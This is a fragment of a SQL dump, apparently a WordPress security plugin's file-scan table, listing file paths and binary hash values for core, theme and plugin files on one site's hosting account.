('aOj\'ŻD*ցV4','wp-cron.php','/home/trevorkl/trevorklee.com/wp-cron.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+_ilƢ.9D','okw\"<%a°~&{F*(\"','',0,'?'),
('tM&xV','wp-content/themes/twentytwentyone/assets/sass/05-blocks/_config.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/_config.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2142%F)','هOx,{e>zɁs2Cܳ','',0,'?'),
('#\' ~/zF','wp-content/plugins/wordfence/modules/login-security/views/manage/regenerate.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/regenerate.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ѩϖ,;','NhBW\"r:gFF`%[zuΡ1','',0,'?'),
('QHe6','wp-includes/js/jcrop/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/jcrop/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('e\\kcXf','wp-includes/customize/class-wp-customize-upload-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-upload-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ؓB8?)ivr`-','~t~X% K/3-n6\0RB֨G','',0,'?'),
('Rs{p~gЁؑ','wp-includes/css/dist/reusable-blocks/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pEG.7Qm#','14)\rEujV܏kv}z','',0,'?'),
('㪶TAnp}E','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Light.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Light.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&WB5\"dI','I# ,ԌP#\'MhըeM}y}v','',0,'?'),
('љ*Yۖ,@','wp-content/themes/twentytwentyfive/parts/footer-newsletter.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/footer-newsletter.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zTket%̓gJ','0:Cd5Zor9E1h\0)]i','',0,'?'),
('q82v&#M','wp-includes/js/tinymce/plugins/wpview/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpview/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j5qS\rXi','Ej\Z\ZI3JGjVݒ6<S9P','',0,'?'),
('H%,','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_cc0000_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_cc0000_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|%;wQ8@','wi>6Ƭ4.NC\Z4IO','',0,'?'),
('<kUJv%1','wp-includes/fonts/dashicons.ttf','/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.ttf',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7|Z','DD+vehs>ZfovW~,=','',0,'?'),
('`c@3vz','wp-includes/blocks/legacy-widget.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/legacy-widget.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"eu1\'yQlS','oD^7f)N8j:l16RzLb','',0,'?'),
('#iJH?@','wp-includes/class-wp-http-curl.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http-curl.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9(pvl(\'','\r٨^,2uc|ES\rJIEXR','',0,'?'),
('^`,ނy2','wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/index.php','/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/index.php',0,'J(.2w81','J(.2w81',';j\0\'O󅥱25~-\0','',0,'?'),
('wV!','wp-admin/includes/class-wp-ms-themes-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-ms-themes-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o8ϰnEX','oj̙fޚlU`)D(8Jb?','',0,'?'),
('+Y\ndb*','wp-content/themes/twentytwentyfive/styles/sections/section-1.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-1.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rL)jƼL͒','E]Uer-7u-@hUL*j','',0,'?'),
('\ZK^\n','wp-includes/blocks/image/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[FYNdfqf\r','ڣaJfldMJ}ŀJdP','',0,'?'),
(' >h{:(+7','wp-content/themes/twentytwentytwo/inc/patterns/query-irregular-grid.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-irregular-grid.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6HnR`R\\x\0n','ELHF:9\\/ɴ*fg<3JC','',0,'?'),
('$.zNd6ia','wp-content/plugins/header-footer-code-manager/languages/header-footer-code-manager-hi_IN.mo','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/languages/header-footer-code-manager-hi_IN.mo',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʎHb}8(r','ҳobyNۊR;4E~','',0,'?'),
(',*iVO1a\n3','wp-includes/blocks/post-featured-image/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_=Vi|Bf','j;0cHx	&ie3hHQR+iI','',0,'?'),
('/Vpk^B\\','wp-content/themes/twentytwentytwo/inc/patterns/footer-social-copyright.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-social-copyright.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g4lQ','J(y\\\n%gq{Q%;F\'vR^r','',0,'?'),
('@w+\"U<SV','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ЇmL:[7\n','\";0YҮ4\nF5A?q','',0,'?'),
('IIb^y$v','wp-content/plugins/akismet/_inc/img/arrow-left.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/arrow-left.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^]P9KG','J;װk:}u>k@F','',0,'?'),
('\\/蝄Wn-\n 9','wp-includes/blocks/image/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']ΐkGƽG*','-2bI#.Vc%3fƺ*','',0,'?'),
('^ۛF','wp-content/themes/twentytwenty/assets/css/editor-style-block-rtl.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/css/editor-style-block-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vJ9a','d~SFp\\x=4wJ','',0,'?'),
('e˳/v|nӊ','wp-content/themes/twentytwentyfive/patterns/hero-full-width-image.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hero-full-width-image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(mg:} hbȟ','[B*dgn=иF.3\"?*E\Z','',0,'?'),
('z^}¤hh3\rw','wp-content/plugins/wordfence/images/options.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/options.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VѴA','D:bw#^4BKIP?	znV_','',0,'?'),
('䆮G*~5HI','wp-includes/js/dist/vendor/wp-polyfill-dom-rect.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-dom-rect.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fmvCI=wb־;','Lcc900p$ӥ','',0,'?'),
('hѺtX5U','wp-content/themes/twentytwentytwo/inc/patterns/hidden-heading-and-bird.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/hidden-heading-and-bird.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T','*n&$|&r7=s02;','',0,'?'),
('it\ZoaӉ','wp-content/themes/twentytwentyfive/patterns/overlapped-images.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/overlapped-images.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o>iUV]','\\CT)8[F&jbһ|[j','',0,'?'),
('䢃hw&','wp-content/themes/twentytwentyfour/templates/page-with-sidebar.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/page-with-sidebar.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N\\i','Xܘ3^Ȧ*bI:6UkB\\c','',0,'?'),
('zpKC{\\>','wp-admin/js/dashboard.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/dashboard.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ɏg]|{[T׆ ',';Ґp^K6c%h87Z+u','',0,'?'),
('	V7R&S;','wp-includes/html-api/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('1]M|KFZ','wp-content/plugins/wordfence/lib/wfBulkCountries.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfBulkCountries.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';]MT鮌=','B$	(Z-SX?Z} 2ǝk(25','',0,'?'),
('\00qĊNy)','wp-includes/plugin.php','/home/trevorkl/trevorklee.com/wp-includes/plugin.php',0,',djm|',',djm|','U(+	DAL\Z_;ps>yi','',0,'0'),
('7/Dv91j/','wp-content/themes/twentytwentytwo/inc/patterns/general-wide-image-intro-buttons.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-wide-image-intro-buttons.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FR#','mP.h\ZXoî\n>|A','',0,'?'),
('\'`F̔~Ė','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/view.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/view.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C؍0+C','`>&i(ŹCf&>Y\"','',0,'?'),
(')鷫g̨R','wp-includes/blocks/loginout/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/loginout/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\\|!e˔','-ۊ2QfZF`n&','',0,'?'),
('.<sbb2','wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M*evW\ZDqFJ','\'ZZUm$Hx;|\rR\nC<','',0,'?'),
('5&$5Q5N','wp-includes/js/dist/edit-widgets.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/edit-widgets.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yf.!*','t[G\\Ч|\'$@Ǡ10eer','',0,'?'),
('CǴkq{.L','wp-includes/js/dist/block-serialization-default-parser.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-serialization-default-parser.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T\Zž<\'\'7%Avw','hԥ\r\r҇gdw|ܔ','',0,'?'),
('H4.\\:#','wp-admin/css/l10n.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/l10n.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jk\">\"Ҫ',')jTD\0M33_d0#>\n','',0,'?'),
('I)߂:$\"9s','wp-includes/blocks/term-description/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-description/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\no\Z*Xqe','9ŤU$\\~{]t-m쐾','',0,'?'),
('Ia!c','wp-includes/Requests/src/Response/Headers.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Response/Headers.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PLlwγ','0am.*b3\0Ahy̧B','',0,'?'),
('Rq vz\rPU','wp-content/plugins/wordfence/languages/wordfence.mo','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/languages/wordfence.mo',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ya:`LO','lÍ\\dC=ԗ/w(=GNFѡ{(Cc*','',0,'?'),
('R5?- S^H','wp-admin/js/editor-expand.js','/home/trevorkl/trevorklee.com/wp-admin/js/editor-expand.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zY{:/*K','BQB5ƽdΚL<','',0,'?'),
('eŐnA','wp-content/plugins/wordfence/lib/wfView.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfView.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[ܺ-ˆN\n\\nO','x2Qmk٫@IFRhHu~R8\"zK4','',0,'?'),
('seQr^TK','wp-includes/blocks/post-title/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-title/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8XpW\rw2','{):m{^S?j\n8xJB\n~)Q4}c','',0,'?'),
('wŉZ-\nr','wp-content/themes/twentytwentyone/assets/sass/05-blocks/file/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/file/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Kc\Zම#\Z֭','|N\0a69A1N%+','',0,'?'),
('#nΐ	','wp-includes/css/dist/edit-site/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t)Oqf','[T?%\"f00P%;','',0,'?'),
('51Q?_','wp-includes/https-migration.php','/home/trevorkl/trevorklee.com/wp-includes/https-migration.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','bd^qn̠+','P~98Y*2*jiŭ','',0,'?'),
('峳$ @z6\0`/','wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ջ}BH71','\"beTb$׉\n~ln','',0,'?'),
('jI̹8-','wp-content/themes/twentytwentyfive/templates/page-no-title.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/page-no-title.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oT[u\Z','48ѓ H@暬O','',0,'?'),
('\rb\\ɍ\Z','wp-admin/edit-form-advanced.php','/home/trevorkl/trevorklee.com/wp-admin/edit-form-advanced.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^#DP','NKj@o)/Ju4a\Z0oaʨ','',0,'?'),
('u78	0w','wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthConsumer.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthConsumer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TZp 16J7','p̆L<l-92mM@iWv','',0,'?'),
('vџH5%','wp-includes/blocks/site-logo/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RhEܮ5\\v','p/\rMFNc5=ѵ3c18','',0,'?'),
('+.eF','wp-admin/css/dashboard.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/dashboard.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p(Oth','鞲یoqU-=zR!Eg\ri1x','',0,'?'),
('9ekkRoS','wp-includes/embed.php','/home/trevorkl/trevorklee.com/wp-includes/embed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>Ȏ!\Zܤ','tKt$L<7kg[-','',0,'?'),
('G5@07','wp-includes/images/blank.gif','/home/trevorkl/trevorklee.com/wp-includes/images/blank.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʟghkKf','>EGL EJQ|Bij','',0,'?'),
('J~_ofk','wp-includes/js/wp-embed.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-embed.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/a|s\\J9','9Dfn(ݬ>d8g}\Zg?FpS','',0,'?'),
('0#̢\rK|','wp-includes/html-api/class-wp-html-decoder.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-decoder.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o4gl]/+','V()7)GiM{=$;סɣi','',0,'?'),
('OsLc\rW,','wp-includes/images/media/code.svg','/home/trevorkl/trevorklee.com/wp-includes/images/media/code.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MvR$E^.','˲dnfNRn%Wr\n','',0,'?'),
('様7^b\"','wp-content/plugins/wordfence/images/back_disabled.jpg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/back_disabled.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hgi>','䏛N7g΋?Fb!}ݿC鳇','',0,'?'),
('樨#@,5\"5','wp-includes/blocks/term-name.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-name.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Wy\'&\";','%/\"mUM^cC81','',0,'?'),
('gwߍhmA','wp-includes/blocks/freeform/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/freeform/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ZsSwM뮨)i6','/ijYyZ\'>,X@!%Ljqٍ','',0,'?'),
('ylsU><','wp-includes/css/customize-preview.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/customize-preview.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','bSbs\"','ߌIR\\Ĺez3QsCQ','',0,'?'),
('W\"Sk:','wp-admin/images/align-center-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/align-center-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-r5*J7If','8tf*JwT^H>1JDο','',0,'?'),
('PIcDƾ','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_int.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_int.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JsǙB','ERJbȸI\"t],qP1\\fD','',0,'?'),
('[L2@*I','wp-includes/blocks/comments-title/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-title/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' ]C!|AJH\0','f )CھKG\ZCť Lp','',0,'?'),
('⣣MOU','wp-admin/js/editor.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/editor.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wB輹~qs~a?','=:[Ųѥg\n<|68gs','',0,'?'),
(';Wl','wp-includes/js/dist/deprecated.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/deprecated.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ޣ!O\0Fr','1t|Ҽ|UlIZwnw\nB','',0,'?'),
('>8\Z*\0','wp-includes/blocks/comment-reply-link/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-reply-link/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8o6KRq\Z\r<D','2L@/5;3O\'U-(J8jἹ','',0,'?'),
('\n`mHIiM','wp-content/themes/twentynineteen/inc/color-patterns.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/inc/color-patterns.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&+8~qkX@ 9','#d\"	#cJUKG\r2]51','',0,'?'),
('QoCP޶','wp-includes/blocks/navigation-submenu/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-submenu/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F)C;]<','ԫ\0PTrQ>J\"T{WJC(','',0,'?'),
('\"ơ7vs+','wp-admin/includes/class-pclzip.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-pclzip.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9%Cs6r','H0z@./t3','',0,'?'),
('*Lb	Nf7','wp-content/themes/twentytwentyfour/patterns/template-index-portfolio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-index-portfolio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i纆+:Q9Ԛ','B(*Z[waI d̏','',0,'?'),
('2\Z {DZ-','wp-content/plugins/wordfence/fonts/ionicons.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/ionicons.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hI15[I]J','*\\&t䭨\\	gTw,1','',0,'?'),
(';=/`D#','wp-includes/js/tinymce/themes/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/themes/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Djמ8]fД_','wp-includes/class-wp-widget.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-widget.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v4nrUM','No/GKBb\\5C^YEWj`K','',0,'?'),
('\\\"M/l\Zx֚','wp-includes/block-supports/block-style-variations.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/block-style-variations.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&౑8','MԑڱuѵXUU717Nu','',0,'?'),
('b`K\'컜K','wp-includes/functions.wp-scripts.php','/home/trevorkl/trevorklee.com/wp-includes/functions.wp-scripts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dRIbҏ3','\'RBȫ>.-\"H!','',0,'?'),
('xΔ)NX3u/@4Y','wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z6}-p','~樄IKB0H|~iM/l','',0,'?'),
('Jёe\rXd$','wp-includes/class-wp-customize-widgets.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-customize-widgets.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J*\\VU;N ','2^sn\'8O\r','',0,'?'),
('\ZI','wp-includes/blocks/social-links/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-links/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Zx\r~\ZU{','́!㡓u_^H<','',0,'?'),
('ҘG\":0\\KH#','wp-content/themes/twentytwentyone/assets/sass/style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NJ:!d]','cUydVlI8Ļ&<jē','',0,'?'),
('E3=^`Z','wp-includes/utf8.php','/home/trevorkl/trevorklee.com/wp-includes/utf8.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6/6<>T=',']jkal:գϻ9~QH(p/K`','',0,'?'),
('kN>t,','wp-includes/blocks/file/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Tw\Z+5ct','P̗z30x=l\r0%fegxB^','',0,'?'),
('6Si\rلnT','wp-includes/blocks/comments/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q)Tt!^_','>\0Eix`I+p+rTf3BHa','',0,'?'),
('Kgo#0','wp-activate.php','/home/trevorkl/trevorklee.com/wp-activate.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ŇcCJ!CnV˓',']?3xJcPѠdULJSE%','',0,'?'),
('ŉ	i/Э','wp-includes/formatting.php','/home/trevorkl/trevorklee.com/wp-includes/formatting.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!JnIDƳk','s4O8LEV!yN`>/f=4','',0,'?'),
('1]ʶ\n','wp-content/plugins/wordfence/views/scanner/text/issue-skippedPaths.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-skippedPaths.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*幌a%tn','s&#AW}II/K\r dܔS6.','',0,'?'),
('Hl{!D#!','wp-admin/js/color-picker.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/color-picker.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`l W+%䆊kc','}̶guw`hfFoz,drr,,u','',0,'?'),
('KQP>Eni','wp-content/themes/twentytwentyfive/patterns/vertical-header.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/vertical-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','znu\Z','=wݮ zyϩUI(8G','',0,'?'),
('FZYC83E','wp-admin/css/colors/blue/colors.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/colors.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n&8`5P:1`','Qp_,\Z:Z25>%?Jઋq','',0,'?'),
('QzRf;O)[z','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BoldItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BoldItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gڻV/ރ','~pE>\\VV^벟-$','',0,'?'),
('&W9<','wp-includes/blocks/paragraph/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/paragraph/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ז?4N-','wp-includes/Requests/src/Exception/Http/Status417.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status417.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nL,Ux(','@vAZ7XB-%ouh5p','',0,'?'),
('\"j+RC	g','wp-includes/Requests/src/Exception/InvalidArgument.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/InvalidArgument.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R%9H&F','LbvGZj\'<K#JѓS','',0,'?'),
('%y>}Ho(6','wp-includes/js/jquery/ui/core.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/core.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!Z+ Gfp','oel{D2SE7	8-\Z8a','',0,'?'),
('SI#)|','wp-includes/blocks/quote/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/quote/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r5_~|cn	','IE6;W&><\0c`%\npjzkTu','',0,'?'),
('_\"MP~~','wp-content/themes/twentytwentyfive/patterns/cta-heading-search.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-heading-search.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*K}dA5','em;_j4;#{6`rpG%G8','',0,'?'),
('fi`=@To','wp-admin/images/spinner.gif','/home/trevorkl/trevorklee.com/wp-admin/images/spinner.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L\nD\noًj˲','zƄ\Z\"n\Zs(U/~7F^','',0,'?'),
('wj067@T','wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"2s7\\i#E','atW	3N\Z`xhI`','',0,'?'),
